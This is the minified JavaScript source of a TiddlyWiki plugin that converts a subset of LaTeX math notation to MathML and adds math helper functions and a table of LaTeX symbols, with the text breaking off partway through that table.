<<autoRefresh>>
/***
|''Name:''|MathSVGPlugin|
|''Description:''|This plugin translates a subset of the LaTeX math notation to MathML with a customisable  image fallback when MathML is not supported. It also provides an easy way to produce mathematical SVG graphics with dynamical features and animation.|
|''Version:''|1.2.2|
|''Date:''|2009-06-25|
|''Source:''|http://www.math.ist.utl.pt/~psoares/mathsvg.html http://www.math.ist.utl.pt/~psoares/MathSVG.html|
|''Author:''|Paulo Soares|
|''License:''|[[GNU Lesser General Public License|http://www.gnu.org/licences/lgpl.html]]|
|''~CoreVersion:''|2.5.0|
!Original copyright notice
{{{
ASCIIMathML.js
==============
Version 2.1 Oct 8, 2008, (c) Peter Jipsen http://www.chapman.edu/~jipsen
This version extends ASCIIMathML.js with LaTeXMathML.js and ASCIIsvg.js.
Latest version at http://www.chapman.edu/~jipsen/mathml/ASCIIMathML.js
If you use it on a webpage, please send the URL to jipsen@chapman.edu

The LaTeXMathML modifications were made by Douglas Woodall, June 2006.
(for details see header on the LaTeXMathML part in middle of file)
Extensive clean-up and improvements by Paulo Soares, Oct 2007.

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 2.1 of the License, or (at
your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT 
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 
FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License 
(at http://www.gnu.org/licences/lgpl.html) for more details.
}}}
!~MathSVG code (minified)
***/
//{{{
Math.sec=function(a){return 1/Math.cos(a)};Math.csc=function(a){return 1/Math.sin(a)};Math.cot=function(a){return 1/Math.tan(a)};Math.asec=function(a){return Math.acos(1/a)};Math.acsc=function(a){return Math.asin(1/a)};Math.acot=function(a){return Math.atan(1/a)};Math.sinh=function(a){return(Math.exp(a)-Math.exp(-a))/2};Math.cosh=function(a){return(Math.exp(a)+Math.exp(-a))/2};Math.tanh=function(a){return(Math.exp(a)-Math.exp(-a))/(Math.exp(a)+Math.exp(-a))};Math.sech=function(a){return 1/Math.cosh(a)};Math.csch=function(a){return 1/Math.sinh(a)};Math.coth=function(a){return 1/Math.tanh(a)};Math.asinh=function(a){return Math.log(a+Math.sqrt(a*a+1))};Math.acosh=function(a){return Math.log(a+Math.sqrt(a*a-1))};Math.atanh=function(a){return Math.log((1+a)/(1-a))/2};Math.sech=function(a){return 1/Math.cosh(a)};Math.csch=function(a){return 1/Math.sinh(a)};Math.coth=function(a){return 1/Math.tanh(a)};Math.asech=function(a){return Math.acosh(1/a)};Math.acsch=function(a){return Math.asinh(1/a)};Math.acoth=function(a){return Math.atanh(1/a)};Math.sign=function(a){return(a===0?0:(a<0?-1:1))};Math.step=function(a,c,b){return(a<0?(b?b:0):(c?c:1))};Math.root=function(a,b){return Math.pow(a,1/b)};Math.factorial=function(b){if(b===0){return 1}if(b<0){if((b%1)===0){return}if(b>-1){return Math.factorial(b+1)/(b+1)}return -Math.PI/(Math.factorial(-1-b)*Math.sin(Math.PI*b))}var a=b;if((b%1)===0){while(b>1){b=b-1;a=a*b}}else{a=Math.exp((b+0.5)*Math.log(b+1)-b-b*(0.1121105+b*0.08106103)/(1.452342+b*(2.410858+b)))}return a};Math.Gamma=function(a){return Math.factorial(a-1)};Math.Beta=function(a,b){return Math.Gamma(a)*Math.Gamma(b)/Math.Gamma(a+b)};Math.C=function(a,b){var c=1/((a+1)*Math.Beta(b+1,a-b+1));return c};Math.truncate=function(a,c){var b=c||0;return Math.floor(a*Math.pow(10,b))/Math.pow(10,b)};Math.randomString=function(a,g){var f=(g||"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz").split("");var e=[],c=Math.random;var d=f.length;for(var b=0;b<a;b++){e[b]=f[0|c()*d]}return e.join("")};Math.runif=function(d,c,f){var e=f||0;return Math.truncate((c+Math.pow(10,-e)-d)*Math.random()+d,e)};Math.rnormal=function(a,b){a=a||0;b=b||1;var d=0,c=0;while(d*c===0){d=Math.random();c=Math.random()}return b*(Math.sqrt(-2*Math.log(d))*Math.cos(2*Math.PI*c))+a};var MSVG=function(j){var s="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";var q=["\uD835\uDC9C","\u212C","\uD835\uDC9E","\uD835\uDC9F","\u2130","\u2131","\uD835\uDCA2","\u210B","\u2110","\uD835\uDCA5","\uD835\uDCA6","\u2112","\u2133","\uD835\uDCA9","\uD835\uDCAA","\uD835\uDCAB","\uD835\uDCAC","\u211B","\uD835\uDCAE","\uD835\uDCAF","\uD835\uDCB0","\uD835\uDCB1","\uD835\uDCB2","\uD835\uDCB3","\uD835\uDCB4","\uD835\uDCB5","\uD835\uDCB6","\uD835\uDCB7","\uD835\uDCB8","\uD835\uDCB9","\u212F","\uD835\uDCBB","\u210A","\uD835\uDCBD","\uD835\uDCBE","\uD835\uDCBF","\uD835\uDCC0","\uD835\uDCC1","\uD835\uDCC2","\uD835\uDCC3","\u2134","\uD835\uDCC5","\uD835\uDCC6","\uD835\uDCC7","\uD835\uDCC8","\uD835\uDCC9","\uD835\uDCCA","\uD835\uDCCB","\uD835\uDCCC","\uD835\uDCCD","\uD835\uDCCE","\uD835\uDCCF"];var B=["\uD835\uDD04","\uD835\uDD05","\u212D","\uD835\uDD07","\uD835\uDD08","\uD835\uDD09","\uD835\uDD0A","\u210C","\u2111","\uD835\uDD0D","\uD835\uDD0E","\uD835\uDD0F","\uD835\uDD10","\uD835\uDD11","\uD835\uDD12","\uD835\uDD13","\uD835\uDD14","\u211C","\uD835\uDD16","\uD835\uDD17","\uD835\uDD18","\uD835\uDD19","\uD835\uDD1A","\uD835\uDD1B","\uD835\uDD1C","\u2128","\uD835\uDD1E","\uD835\uDD1F","\uD835\uDD20","\uD835\uDD21","\uD835\uDD22","\uD835\uDD23","\uD835\uDD24","\uD835\uDD25","\uD835\uDD26","\uD835\uDD27","\uD835\uDD28","\uD835\uDD29","\uD835\uDD2A","\uD835\uDD2B","\uD835\uDD2C","\uD835\uDD2D","\uD835\uDD2E","\uD835\uDD2F","\uD835\uDD30","\uD835\uDD31","\uD835\uDD32","\uD835\uDD33","\uD835\uDD34","\uD835\uDD35","\uD835\uDD36","\uD835\uDD37"];var p=["\uD835\uDD38","\uD835\uDD39","\u2102","\uD835\uDD3B","\uD835\uDD3C","\uD835\uDD3D","\uD835\uDD3E","\u210D","\uD835\uDD40","\uD835\uDD41","\uD835\uDD42","\uD835\uDD43","\uD835\uDD44","\u2115","\uD835\uDD46","\u2119","\u211A","\u211D","\uD835\uDD4A","\uD835\uDD4B","\uD835\uDD4C","\uD835\uDD4D","\uD835\uDD4E","\uD835\uDD4F","\uD835\uDD50","\u2124","\uD835\uDD52","\uD835\uDD53","\uD835\uDD54","\uD835\uDD55","\uD835\uDD56","\uD835\uDD57","\uD835\uDD58","\uD835\uDD59","\uD835\uDD5A","\uD835\uDD5B","\uD835\uDD5C","\uD835\uDD5D","\uD835\uDD5E","\uD835\uDD5F","\uD835\uDD60","\uD835\uDD61","\uD835\uDD62","\uD835\uDD63","\uD835\uDD64","\uD835\uDD65","\uD835\uDD66","\uD835\uDD67","\uD835\uDD68","\uD835\uDD69","\uD835\uDD6A","\uD835\uDD6B"];var x=0,b=1,c=2,m=3,v=4,d=5,n=6,o=7,l=8,e=9,z=10,y=11,g=13,i=14;var a=[{input:"\\varepsilon",tag:"mi",output:"\u025B",ttype:x},{input:"\\varsigma",tag:"mi",output:"\u03C2",ttype:x},{input:"\\vartheta",tag:"mi",output:"\u03D1",ttype:x},{input:"\\varphi",tag:"mi",output:"\u03D5",ttype:x},{input:"\\varpi",tag:"mi",output:"\u03D6",ttype:x},{input:"\\varrho",tag:"mi",output:"\u03F1",ttype:x},{input:"\\alpha",tag:"mi",output:"\u03B1",ttype:x},{input:"\\beta",tag:"mi",output:"\u03B2",ttype:x},{input:"\\gamma",tag:"mi",output:"\u03B3",ttype:x},{input:"\\delta",tag:"mi",output:"\u03B4",ttype:x},{input:"\\epsilon",tag:"mi",output:"\u03B5",ttype:x},{input:"\\zeta",tag:"mi",output:"\u03B6",ttype:x},{input:"\\eta",tag:"mi",output:"\u03B7",ttype:x},{input:"\\theta",tag:"mi",output:"\u03B8",ttype:x},{input:"\\iota",tag:"mi",output:"\u03B9",ttype:x},{input:"\\kappa",tag:"mi",output:"\u03BA",ttype:x},{input:"\\lambda",tag:"mi",output:"\u03BB",ttype:x},{input:"\\mu",tag:"mi",output:"\u03BC",ttype:x},{input:"\\nu",tag:"mi",output:"\u03BD",ttype:x},{input:"\\xi",tag:"mi",output:"\u03BE",ttype:x},{input:"\\omicron",tag:"mi",output:"\u03BF",ttype:x},{input:"\\pi",tag:"mi",output:"\u03C0",ttype:x},{input:"\\rho",tag:"mi",output:"\u03C1",ttype:x},{input:"\\sigma",tag:"mi",output:"\u03C3",ttype:x},{input:"\\tau",tag:"mi",output:"\u03C4",ttype:x},{input:"\\upsilon",tag:"mi",output:"\u03C5",ttype:x},{input:"\\phi",tag:"mi",output:"\u03C6",ttype:x},{input:"\\chi",tag:"mi",output:"\u03C7",ttype:x},{input:"\\psi",tag:"mi",output:"\u03C8",ttype:x},{input:"\\omega",tag:"mi",output:"\u03C9",ttype:x},{input:"\\Alpha",tag:"mo",output:"\u0391",ttype:x},{input:"\\Beta",tag:"mo",output:"\u0392",ttype:x},{input:"\\Gamma",tag:"mo",output:"\u0393",ttype:x},{input:"\\Delta",tag:"mo",output:"\u0394",ttype:x},{input:"\\Epsilon",tag:"mo",output:"\u0395",ttype:x},{input:"\\Zeta",tag:"mo",output:"\u0396",ttype:x},{input:"\\Eta",tag:"mo",output:"\u0397",ttype:x},{input:"\\Theta",tag:"mo",output:"\u0398",ttype:x},{input:"\\Iota",tag:"mo",output:"\u0399",ttype:x},{input:"\\Kappa",tag:"mo",output:"\u039A",ttype:x},{input:"\\Lambda",tag:"mo",output:"\u039B",ttype:x},{input:"\\Mu",tag:"mo",output:"\u039C",ttype:x},{input:"\\Nu",tag:"mo",output:"\u039D",ttype:x},{input:"\\Xi",tag:"mo",output:"\u039E",ttype:x},{input:"\\Omicron",tag:"mo",output:"\u039F",ttype:x},{input:"\\Pi",tag:"mo",output:"\u03A0",ttype:x},{input:"\\Rho",tag:"mo",output:"\u03A1",ttype:x},{input:"\\Sigma",tag:"mo",output:"\u03A3",ttype:x},{input:"\\Tau",tag:"mo",output:"\u03A4",ttype:x},{input:"\\Upsilon",tag:"mo",output:"\u03A5",ttype:x},{input:"\\Phi",tag:"mo",output:"\u03A6",ttype:x},{input:"\\Chi",tag:"mo",output:"\u03A7",ttype:x},{input:"\\Psi",tag:"mo",output:"\u03A8",ttype:x},{input:"\\Omega",tag:"mo",output:"\u03A9",ttype:x},{input:"\\frac12",tag:"mo",output:"\u00BD",ttype:x},{input:"\\frac14",tag:"mo",output:"\u00BC",ttype:x},{input:"\\frac34",tag:"mo",output:"\u00BE",ttype:x},{input:"\\frac13",tag:"mo",output:"\u2153",ttype:x},{input:"\\frac23",tag:"mo",output:"\u2154",ttype:x},{input:"\\frac15",tag:"mo",output:"\u2155",ttype:x},{input:"\\frac25",tag:"mo",output:"\u2156",ttype:x},{input:"\\frac35",tag:"mo",output:"\u2157",ttype:x},{input:"\\frac45",tag:"mo",output:"\u2158",ttype:x},{input:"\\frac16",tag:"mo",output:"\u2159",ttype:x},{input:"\\frac56",tag:"mo",output:"\u215A",ttype:x},{input:"\\frac18",tag:"mo",output:"\u215B",ttype:x},{input:"\\frac38",tag:"mo",output:"\u215C",ttype:x},{input:"\\frac58",tag:"mo",output:"\u215D",ttype:x},{input:"\\frac78",tag:"mo",output:"\u215E",ttype:x},{input:"\\pm",tag:"mo",output:"\u00B1",ttype:x},{input:"\\mp",tag:"mo",output:"\u2213",ttype:x},{input:"\\triangleleft",tag:"mo",output:"\u22B2",ttype:x},{input:"\\triangleright",tag:"mo",output:"\u22B3",ttype:x},{input:"\\cdot",tag:"mo",output:"\u22C5",ttype:x},{input:"\\star",tag:"mo",output:"\u22C6",ttype:x},{input:"\\ast",tag:"mo",output:"\u002A",ttype:x},{input:"\\times",tag:"mo",output:"\u00D7",ttype:x},{input:"\\div",tag:"mo",output:"\u00F7",ttype:x},{input:"\\circ",tag:"mo",output:"\u2218",ttype:x},{input:"\\bullet",tag:"mo",output:"\u2022",ttype:x},{input:"\\oplus",tag:"mo",output:"\u2295",ttype:x},{input:"\\ominus",tag:"mo",output:"\u2296",ttype:x},{input:"\\otimes",tag:"mo",output:"\u2297",ttype:x},{input:"\\bigcirc",tag:"mo",output:"\u25CB",ttype:x},{input:"\\oslash",tag:"mo",output:"\u2298",ttype:x},{input:"\\odot",tag:"mo",output:"\u2299",ttype:x},{input:"\\land",tag:"mo",output:"\u2227",ttype:x},{input:"\\wedge",tag:"mo",output:"\u2227",ttype:x},{input:"\\lor",tag:"mo",output:"\u2228",ttype:x},{input:"\\vee",tag:"mo",output:"\u2228",ttype:x},{input:"\\cap",tag:"mo",output:"\u2229",ttype:x},{input:"\\cup",tag:"mo",output:"\u222A",ttype:x},{input:"\\sqcap",tag:"mo",output:"\u2293",ttype:x},{input:"\\sqcup",tag:"mo",output:"\u2294",ttype:x},{input:"\\uplus",tag:"mo",output:"\u228E",ttype:x},{input:"\\amalg",tag:"mo",output:"\u2210",ttype:x},{input:"\\bigtriangleup",tag:"mo",output:"\u25B3",ttype:x},{input:"\\bigtriangledown",tag:"mo",output:"\u25BD",ttype:x},{input:"\\dag",tag:"mo",output:"\u2020",ttype:x},{input:"\\dagger",tag:"mo",output:"\u2020",ttype:x},{input:"\\ddag",tag:"mo",output:"\u2021",ttype:x},{input:"\\ddagger",tag:"mo",output:"\u2021",ttype:x},{input:"\\lhd",tag:"mo",output:"\u22B2",ttype:x},{input:"\\rhd",tag:"mo",output:"\u22B3",ttype:x},{input:"\\unlhd",tag:"mo",output:"\u22B4",ttype:x},{input:"\\unrhd",tag:"mo",output:"\u22B5",ttype:x},{input:"\\sum",tag:"mo",output:"\u2211",ttype:o},{input:"\\prod",tag:"mo",output:"\u220F",ttype:o},{input:"\\bigcap",tag:"mo",output:"\u22C2",ttype:o},{input:"\\bigcup",tag:"mo",output:"\u22C3",ttype:o},{input:"\\bigwedge",tag:"mo",output:"\u22C0",ttype:o},{input:"\\bigvee",tag:"mo",output:"\u22C1",ttype:o},{input:"\\bigsqcap",tag:"mo",output:"\u2A05",ttype:o},{input:"\\bigsqcup",tag:"mo",output:"\u2A06",ttype:o},{input:"\\coprod",tag:"mo",output:"\u2210",ttype:o},{input:"\\bigoplus",tag:"mo",output:"\u2A01",ttype:o},{input:"\\bigotimes",tag:"mo",output:"\u2A02",ttype:o},{input:"\\bigodot",tag:"mo",output:"\u2A00",ttype:o},{input:"\\biguplus",tag:"mo",output:"\u2A04",ttype:o},{input:"\\int",tag:"mo",output:"\u222B",ttype:x},{input:"\\oint",tag:"mo",output:"\u222E",ttype:x},{input:":=",tag:"mo",output:":=",ttype:x},{input:"\\lt",tag:"mo",output:"<",ttype:x},{input:"\\gt",tag:"mo",output:">",ttype:x},{input:"\\ne",tag:"mo",output:"\u2260",ttype:x},{input:"\\neq",tag:"mo",output:"\u2260",ttype:x},{input:"\\le",tag:"mo",output:"\u2264",ttype:x},{input:"\\leq",tag:"mo",output:"\u2264",ttype:x},{input:"\\leqslant",tag:"mo",output:"\u2264",ttype:x},{input:"\\ge",tag:"mo",output:"\u2265",ttype:x},{input:"\\geq",tag:"mo",output:"\u2265",ttype:x},{input:"\\geqslant",tag:"mo",output:"\u2265",ttype:x},{input:"\\equiv",tag:"mo",output:"\u2261",ttype:x},{input:"\\ll",tag:"mo",output:"\u226A",ttype:x},{input:"\\gg",tag:"mo",output:"\u226B",ttype:x},{input:"\\doteq",tag:"mo",output:"\u2250",ttype:x},{input:"\\prec",tag:"mo",output:"\u227A",ttype:x},{input:"\\succ",tag:"mo",output:"\u227B",ttype:x},{input:"\\preceq",tag:"mo",output:"\u227C",ttype:x},{input:"\\succeq",tag:"mo",output:"\u227D",ttype:x},{input:"\\subset",tag:"mo",output:"\u2282",ttype:x},{input:"\\supset",tag:"mo",output:"\u2283",ttype:x},{input:"\\subseteq",tag:"mo",output:"\u2286",ttype:x},{input:"\\supseteq",tag:"mo",output:"\u2287",ttype:x},{input:"\\sqsubset",tag:"mo",output:"\u228F",ttype:x},{input:"\\sqsupset",tag:"mo",output:"\u2290",ttype:x},{input:"\\sqsubseteq",tag:"mo",output:"\u2291",ttype:x},{input:"\\sqsupseteq",tag:"mo",output:"\u2292",ttype:x},{input:"\\sim",tag:"mo",output:"\u223C",ttype:x},{input:"\\simeq",tag:"mo",output:"\u2243",ttype:x},{input:"\\approx",tag:"mo",output:"\u2248",ttype:x},{input:"\\cong",tag:"mo",output:"\u2245",ttype:x},{input:"\\Join",tag:"mo",output:"\u22C8",ttype:x},{input:"\\bowtie",tag:"mo",output:"\u22C8",ttype:x},{input:"\\in",tag:"mo",output:"\u2208",ttype:x},{input:"\\ni",tag:"mo",output:"\u220B",ttype:x},{input:"\\owns",tag:"mo",output:"\u220B",ttype:x},{input:"\\propto",tag:"mo",output:"\u221D",ttype:x},{input:"\\vdash",tag:"mo",output:"\u22A2",ttype:x},{input:"\\dashv",tag:"mo",output:"\u22A3",ttype:x},{input:"\\models",tag:"mo",output:"\u22A8",ttype:x},{input:"\\perp",tag:"mo",output:"\u22A5",ttype:x},{input:"\\smile",tag:"mo",output:"\u2323",ttype:x},{input:"\\frown",tag:"mo",output:"\u2322",ttype:x},{input:"\\asymp",tag:"mo",output:"\u224D",ttype:x},{input:"\\notin",tag:"mo",output:"\u2209",ttype:x},{input:"\\begin{eqnarray}",output:"X",ttype:i,invisible:true},{input:"\\begin{array}",output:"X",ttype:i,invisible:true},{input:"\\\\",output:"}&{",ttype:l},{input:"\\end{eqnarray}",output:"}}",ttype:l},{input:"\\end{array}",output:"}}",ttype:l},{input:"\\big",tag:"mo",output:"X",atval:"1.2",ttype:y},{input:"\\Big",tag:"mo",output:"X",atval:"1.8",ttype:y},{input:"\\bigg",tag:"mo",output:"X",atval:"2.3",ttype:y},{input:"\\Bigg",tag:"mo",output:"X",atval:"2.9",ttype:y},{input:"\\left",tag:"mo",output:"X",ttype:v},{input:"\\right",tag:"mo",output:"X",ttype:d},{input:"{",output:"{",ttype:v,invisible:true},{input:"}",output:"}",ttype:d,invisible:true},{input:"(",tag:"mo",output:"(",atval:"1",ttype:g},{input:"[",tag:"mo",output:"[",atval:"1",ttype:g},{input:"\\lbrack",tag:"mo",output:"[",atval:"1",ttype:g},{input:"\\{",tag:"mo",output:"{",atval:"1",ttype:g},{input:"\\lbrace",tag:"mo",output:"{",atval:"1",ttype:g},{input:"\\langle",tag:"mo",output:"\u2329",atval:"1",ttype:g},{input:"\\lfloor",tag:"mo",output:"\u230A",atval:"1",ttype:g},{input:"\\lceil",tag:"mo",output:"\u2308",atval:"1",ttype:g},{input:")",tag:"mo",output:")",rtag:"mi",atval:"1",ttype:g},{input:"]",tag:"mo",output:"]",rtag:"mi",atval:"1",ttype:g},{input:"\\rbrack",tag:"mo",output:"]",rtag:"mi",atval:"1",ttype:g},{input:"\\}",tag:"mo",output:"}",rtag:"mi",atval:"1",ttype:g},{input:"\\rbrace",tag:"mo",output:"}",rtag:"mi",atval:"1",ttype:g},{input:"\\rangle",tag:"mo",output:"\u232A",rtag:"mi",atval:"1",ttype:g},{input:"\\rfloor",tag:"mo",output:"\u230B",rtag:"mi",atval:"1",ttype:g},{input:"\\rceil",tag:"mo",output:"\u2309",rtag:"mi",atval:"1",ttype:g},{input:"|",tag:"mo",output:"\u2223",atval:"1",ttype:g},{input:"\\|",tag:"mo",output:"\u2225",atval:"1",ttype:g},{input:"\\vert",tag:"mo",output:"\u2223",atval:"1",ttype:g},{input:"\\Vert",tag:"mo",output:"\u2225",atval:"1",ttype:g},{input:"\\mid",tag:"mo",output:"\u2223",atval:"1",ttype:g},{input:"\\parallel",tag:"mo",output:"\u2225",atval:"1",ttype:g},{input:"/",tag:"mo",output:"/",atval:"1.01",ttype:g},{input:"\\backslash",tag:"mo",output:"\u2216",atval:"1",ttype:g},{input:"\\setminus",tag:"mo",output:"\\",ttype:x},{input:"\\!",tag:"mspace",atname:"width",atval:"-0.167em",ttype:n},{input:"\\,",tag:"mspace",atname:"width",atval:"0.167em",ttype:n},{input:"\\>",tag:"mspace",atname:"width",atval:"0.222em",ttype:n},{input:"\\:",tag:"mspace",atname:"width",atval:"0.222em",ttype:n},{input:"\\;",tag:"mspace",atname:"width",atval:"0.278em",ttype:n},{input:"~",tag:"mspace",atname:"width",atval:"0.333em",ttype:n},{input:"\\quad",tag:"mspace",atname:"width",atval:"1em",ttype:n},{input:"\\qquad",tag:"mspace",atname:"width",atval:"2em",ttype:n},{input:"\\prime",tag:"mo",output:"\u2032",ttype:x},{input:"'",tag:"mo",output:"\u02B9",ttype:x},{input:"''",tag:"mo",output:"\u02BA",ttype:x},{input:"'''",tag:"mo",output:"\u2034",ttype:x},{input:"''''",tag:"mo",output:"\u2057",ttype:x},{input:"\\ldots",tag:"mo",output:"\u2026",ttype:x},{input:"\\cdots",tag:"mo",output:"\u22EF",ttype:x},{input:"\\vdots",tag:"mo",output:"\u22EE",ttype:x},{input:"\\ddots",tag:"mo",output:"\u22F1",ttype:x},{input:"\\forall",tag:"mo",output:"\u2200",ttype:x},{input:"\\exists",tag:"mo",output:"\u2203",ttype:x},{input:"\\Re",tag:"mo",output:"\u211C",ttype:x},{input:"\\Im",tag:"mo",output:"\u2111",ttype:x},{input:"\\aleph",tag:"mo",output:"\u2135",ttype:x},{input:"\\hbar",tag:"mo",output:"\u210F",ttype:x},{input:"\\ell",tag:"mo",output:"\u2113",ttype:x},{input:"\\wp",tag:"mo",output:"\u2118",ttype:x},{input:"\\emptyset",tag:"mo",output:"\u2205",ttype:x},{input:"\\infty",tag:"mo",output:"\u221E",ttype:x},{input:"\\surd",tag:"mo",output:"\\sqrt{}",ttype:l},{input:"\\partial",tag:"mo",output:"\u2202",ttype:x},{input:"\\nabla",tag:"mo",output:"\u2207",ttype:x},{input:"\\triangle",tag:"mo",output:"\u25B3",ttype:x},{input:"\\therefore",tag:"mo",output:"\u2234",ttype:x},{input:"\\angle",tag:"mo",output:"\u2220",ttype:x},{input:"\\diamond",tag:"mo",output:"\u22C4",ttype:x},{input:"\\Diamond",tag:"mo",output:"\u25C7",ttype:x},{input:"\\neg",tag:"mo",output:"\u00AC",ttype:x},{input:"\\lnot",tag:"mo",output:"\u00AC",ttype:x},{input:"\\bot",tag:"mo",output:"\u22A5",ttype:x},{input:"\\top",tag:"mo",output:"\u22A4",ttype:x},{input:"\\square",tag:"mo",output:"\u25AB",ttype:x},{input:"\\Box",tag:"mo",output:"\u25A1",ttype:x},{input:"\\wr",tag:"mo",output:"\u2240",ttype:x},{input:"\\arccos",tag:"mi",output:"arccos",ttype:b,func:true},{input:"\\arcsin",tag:"mi",output:"arcsin",ttype:b,func:true},{input:"\\arctan",tag:"mi",output:"arctan",ttype:b,func:true},{input:"\\arg",tag:"mi",output:"arg",ttype:b,func:true},{input:"\\cos",tag:"mi",output:"cos",ttype:b,func:true},{input:"\\cosh",tag:"mi",output:"cosh",ttype:b,func:true},{input:"\\cot",tag:"mi",output:"cot",ttype:b,func:true},{input:"\\coth",tag:"mi",output:"coth",ttype:b,func:true},{input:"\\csc",tag:"mi",output:"csc",ttype:b,func:true},{input:"\\deg",tag:"mi",output:"deg",ttype:b,func:true},{input:"\\det",tag:"mi",output:"det",ttype:b,func:true},{input:"\\dim",tag:"mi",output:"dim",ttype:b,func:true},{input:"\\exp",tag:"mi",output:"exp",ttype:b,func:true},{input:"\\gcd",tag:"mi",output:"gcd",ttype:b,func:true},{input:"\\hom",tag:"mi",output:"hom",ttype:b,func:true},{input:"\\inf",tag:"mo",output:"inf",ttype:o},{input:"\\ker",tag:"mi",output:"ker",ttype:b,func:true},{input:"\\lg",tag:"mi",output:"lg",ttype:b,func:true},{input:"\\lim",tag:"mo",output:"lim",ttype:o},{input:"\\liminf",tag:"mo",output:"liminf",ttype:o},{input:"\\limsup",tag:"mo",output:"limsup",ttype:o},{input:"\\ln",tag:"mi",output:"ln",ttype:b,func:true},{input:"\\log",tag:"mi",output:"log",ttype:b,func:true},{input:"\\max",tag:"mo",output:"max",ttype:o},{input:"\\min",tag:"mo",output:"min",ttype:o},{input:"\\Pr",tag:"mi",output:"Pr",ttype:b,func:true},{input:"\\sec",tag:"mi",output:"sec",ttype:b,func:true},{input:"\\sin",tag:"mi",output:"sin",ttype:b,func:true},{input:"\\sinh",tag:"mi",output:"sinh",ttype:b,func:true},{input:"\\sup",tag:"mo",output:"sup",ttype:o},{input:"\\tan",tag:"mi",output:"tan",ttype:b,func:true},{input:"\\tanh",tag:"mi",output:"tanh",ttype:b,func:true},{input:"\\gets",tag:"mo",output:"\u2190",ttype:x},{input:"\\leftarrow",tag:"mo",output:"\u2190",ttype:x},{input:"\\to",tag:"mo",output:"\u2192",ttype:x},{input:"\\rightarrow",tag:"mo",output:"\u2192",ttype:x},{input:"\\leftrightarrow",tag:"mo",output:"\u2194",ttype:x},{input:"\\uparrow",tag:"mo",output:"\u2191",ttype:x},{input:"\\downarrow",tag:"mo",output:"\u2193",ttype:x},{input:"\\updownarrow",tag:"mo",output:"\u2195",ttype:x},{input:"\\Leftarrow",tag:"mo",output:"\u21D0",ttype:x},{input:"\\Rightarrow",tag:"mo",output:"\u21D2",ttype:x},{input:"\\Leftrightarrow",tag:"mo",output:"\u21D4",ttype:x},{input:"\\iff",tag:"mo",output:"~\\Longleftrightarrow~",ttype:l},{input:"\\Uparrow",tag:"mo",output:"\u21D1",ttype:x},{input:"\\Downarrow",tag:"mo",output:"\u21D3",ttype:x},{input:"\\Updownarrow",tag:"mo",output:"\u21D5",ttype:x},{input:"\\mapsto",tag:"mo",output:"\u21A6",ttype:x},{input:"\\longleftarrow",tag:"mo",output:"\u27F5",ttype:x},{input:"\\longrightarrow",tag:"mo",output:"\u27F6",ttype:x},{input:"\\longleftrightarrow",tag:"mo",output:"\u27F7",ttype:x},{input:"\\Longleftarrow",tag:"mo",output:"\u27F8",ttype:x},{input:"\\Longrightarrow",tag:"mo",output:"\u27F9",ttype:x},{input:"\\Longleftrightarrow",tag:"mo",output:"\u27FA",ttype:x},{input:"\\longmapsto",tag:"mo",output:"\u27FC",ttype:x},{input:"\\sqrt",tag:"msqrt",output:"sqrt",ttype:b},{input:"\\root",tag:"mroot",output:"root",ttype:c},{input:"\\frac",tag:"mfrac",output:"/",ttype:c},{input:"\\stackrel",tag:"mover",output:"stackrel",ttype:c},{input:"\\atop",tag:"mfrac",output:"",ttype:m},{input:"\\choose",tag:"mfrac",output:"",ttype:m},{input:"_",tag:"msub",output:"_",ttype:m},{input:"^",tag:"msup",output:"^",ttype:m},{input:"\\mbox",tag:"mtext",output:"mbox",ttype:z},{input:"\\acute",tag:"mover",output:"\u00B4",ttype:b,acc:true},{input:"\\grave",tag:"mover",output:"\u0060",ttype:b,acc:true},{input:"\\breve",tag:"mover",output:"\u02D8",ttype:b,acc:true},{input:"\\check",tag:"mover",output:"\u02C7",ttype:b,acc:true},{input:"\\dot",tag:"mover",output:".",ttype:b,acc:true},{input:"\\ddot",tag:"mover",output:"..",ttype:b,acc:true},{input:"\\mathring",tag:"mover",output:"\u00B0",ttype:b,acc:true},{input:"\\vec",tag:"mover",output:"\u20D7",ttype:b,acc:true},{input:"\\overrightarrow",tag:"mover",output:"\u20D7",ttype:b,acc:true},{input:"\\overleftarrow",tag:"mover",output:"\u20D6",ttype:b,acc:true},{input:"\\hat",tag:"mover",output:"\u005E",ttype:b,acc:true},{input:"\\widehat",tag:"mover",output:"\u0302",ttype:b,acc:true},{input:"\\tilde",tag:"mover",output:"~",ttype:b,acc:true},{input:"\\widetilde",tag:"mover",output:"\u02DC",ttype:b,acc:true},{input:"\\bar",tag:"mover",output:"\u203E",ttype:b,acc:true},{input:"\\overbrace",tag:"mover",output:"\u23B4",ttype:b,acc:true},{input:"\\overline",tag:"mover",output:"\u00AF",ttype:b,acc:true},{input:"\\underbrace",tag:"munder",output:"\u23B5",ttype:b,acc:true},{input:"\\underline",tag:"munder",output:"\u00AF",ttype:b,acc:true},{input:"\\displaystyle",tag:"mstyle",atname:"displaystyle",atval:"true",ttype:b},{input:"\\textstyle",tag:"mstyle",atname:"displaystyle",atval:"false",ttype:b},{input:"\\scriptstyle",tag:"mstyle",atname:"scriptlevel",atval:"1",ttype:b},{input:"\\scriptscriptstyle",tag:"mstyle",atname:"scriptlevel",atval:"2",ttype:b},{input:"\\mathrm",tag:"mtext",output:"text",ttype:z},{input:"\\textrm",tag:"mtext",output:"text",ttype:z},{input:"\\mathbf",tag:"mstyle",atname:"mathvariant",atval:"bold",ttype:b,codes:s},{input:"\\textbf",tag:"mstyle",atname:"mathvariant",atval:"bold",ttype:b,codes:s},{input:"\\mathit",tag:"mstyle",atname:"mathvariant",atval:"italic",ttype:b},{input:"\\textit",tag:"mstyle",atname:"mathvariant",atval:"italic",ttype:b},{input:"\\mathtt",tag:"mstyle",atname:"mathvariant",atval:"monospace",ttype:b,codes:s},{input:"\\texttt",tag:"mstyle",atname:"mathvariant",atval:"monospace",ttype:b,codes:s},{input:"\\mathsf",tag:"mstyle",atname:"mathvariant",atval:"sans-serif",ttype:b,codes:s},{input:"\\mathbb",tag:"mstyle",atname:"mathvariant",atval:"double-struck",ttype:b,codes:p},{input:"\\mathcal",tag:"mstyle",atname:"mathvariant",atval:"script",ttype:b,codes:q},{input:"\\mathfrak",tag:"mstyle",atname:"mathvariant",atval:"fraktur",t